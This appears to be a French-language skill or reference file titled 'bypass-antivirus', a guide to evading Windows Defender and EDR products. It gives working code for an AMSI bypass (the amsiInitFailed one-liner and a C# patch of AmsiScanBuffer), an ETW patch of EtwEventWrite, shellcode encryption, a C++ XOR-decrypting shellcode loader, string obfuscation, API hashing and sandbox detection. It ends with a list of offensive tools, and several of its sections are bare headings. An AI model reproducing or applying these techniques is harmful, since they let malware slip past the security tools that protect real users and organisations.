| name | bypass-antivirus |
| description | Bypass AV/EDR — AMSI bypass, ETW patching, DLL sideloading, obfuscation, packing, shellcode encryption, and evasion de Windows Defender, CrowdStrike, SentinelOne |
| tags | ["bypass","AV","EDR","AMSI","ETW","evasion","obfuscation","shellcode","defender"] |
| version | 1 |
Bypass Antivirus / EDR
Guide de contournement des solutions de sécurité (AV, EDR, XDR) — de l'obfuscation de base aux techniques avancées d'evasion.
1. Windows Defender — Bypass Fondamentaux
AMSI (Anti-Malware Scan Interface)
# AMSI intercepte scripts PowerShell, VBS, JS, VBA avant exécution
# Bypass :
# 1. AMSI Bypass — Registry (AmsiEnable)
[HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings]
"AmsiEnable"=dword:00000000
# 2. AMSI Bypass — Memory patch (AmsiScanBuffer)
# Patcher le premier byte de AmsiScanBuffer = RET (0xC3)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 3. AMSI Bypass — Hardware breakpoint
# Set HW BP on AmsiScanBuffer → modify return value
# 4. AMSI Bypass — DLL unhooking
# Map clean copy of amsi.dll → replace hooked section
AMSI Bypass — C# Loader
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
var amsi = LoadLibrary("amsi.dll");
var addr = GetProcAddress(amsi, "AmsiScanBuffer");
byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);
ETW (Event Tracing for Windows)
[DllImport("ntdll.dll")]
static extern void NtProtectVirtualMemory(...);
var ntdll = LoadLibrary("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
var patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
Marshal.Copy(patch, 0, etwAddr, patch.Length);
2. Shellcode Obfuscation
XOR / AES Encryption
from Crypto.Cipher import AES
import base64
def encrypt_shellcode(shellcode, key):
cipher = AES.new(key, AES.MODE_CTR, nonce=b'\x00'*8)
encrypted = cipher.encrypt(shellcode)
return base64.b64encode(encrypted)
Shellcode Loader (C++)
#include <windows.h>
#include <iostream>
void xor_decrypt(unsigned char* data, int size, unsigned char key) {
for (int i = 0; i < size; i++)
data[i] ^= key;
}
int main() {
unsigned char encrypted[] = { };
int size = sizeof(encrypted);
xor_decrypt(encrypted, size, 0xAA);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, encrypted, size);
DWORD old;
VirtualProtect(exec, size, PAGE_EXECUTE_READ, &old);
((void(*)())exec)();
return 0;
}
Shellcode Loader — Callbacks
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(...);
QueueUserAPC(callback, thread, param);
CreateTimerQueueTimer(out timer, IntPtr.Zero, callback, arg, 0, 100, 0);
RegisterWaitForSingleObject(...);
3. Process Injection Techniques
Classic CreateRemoteThread
Process Hollowing
Reflective DLL Injection
Dynamic Invocation (C#)
4. Indirect Syscalls
Hell's Gate
; Résoudre les SSN (System Service Numbers) dynamiquement
; Éviter les hooks EDR dans ntdll.dll
; 1. Trouver syscall dans ntdll.dll
; 2. Lire le SSN (mov eax, SSN)
; 3. Appeler syscall en évitant le hook
; Halos Gate : variante pour les syscalls hookés
; Chercher un syscall non-hooké, calculer offset
SysWhispers
Fresh ntdll.dll
5. Obfuscation Techniques
Control Flow Obfuscation
String Obfuscation
public static string Deobfuscate(string data, int key) {
char[] chars = data.ToCharArray();
for (int i = 0; i < chars.Length; i++)
chars[i] ^= (char)(key + i);
return new string(chars);
}
API Hashing
uint Hash(string s) {
uint hash = 0;
foreach (char c in s)
hash = ((hash << 5) + hash) + c;
return hash;
}
6. Sandbox / VM Detection
bool IsSandbox() {
if (Environment.ProcessorCount < 2) return true;
if (new Microsoft.VisualBasic.Devices.ComputerInfo().TotalPhysicalMemory < 2L * 1024 * 1024 * 1024)
return true;
return false;
}
7. EDR Evasion — Call Stack Spoofing
8. Detection Avoidance
Timing Attacks
Direct I/O
9. Tools Compendium
| Outil | Usage |
|---|
| SysWhispers | Indirect syscall generation |
| D/Invoke | Dynamic API resolution |
| Donut | .NET loader → shellcode |
| ScareCrow | Shellcode loader (bypass AMSI/ETW) |
| Shellter | PE injection |
| Veil | Payload generator |
| FatRat | Multi-format payload |
| Cobalt Strike ArtifactKit | Custom artifact generation |
| PEzor | PE packing + obfuscation |
| InvisibilityCloak | C# obfuscation |
| ConfuserEx | .NET obfuscator |
| Obfuscator-LLVM | Native obfuscation |
| Hyperion | PE crypter (AES) |
| TheEnigma | PE protector |
10. Ressources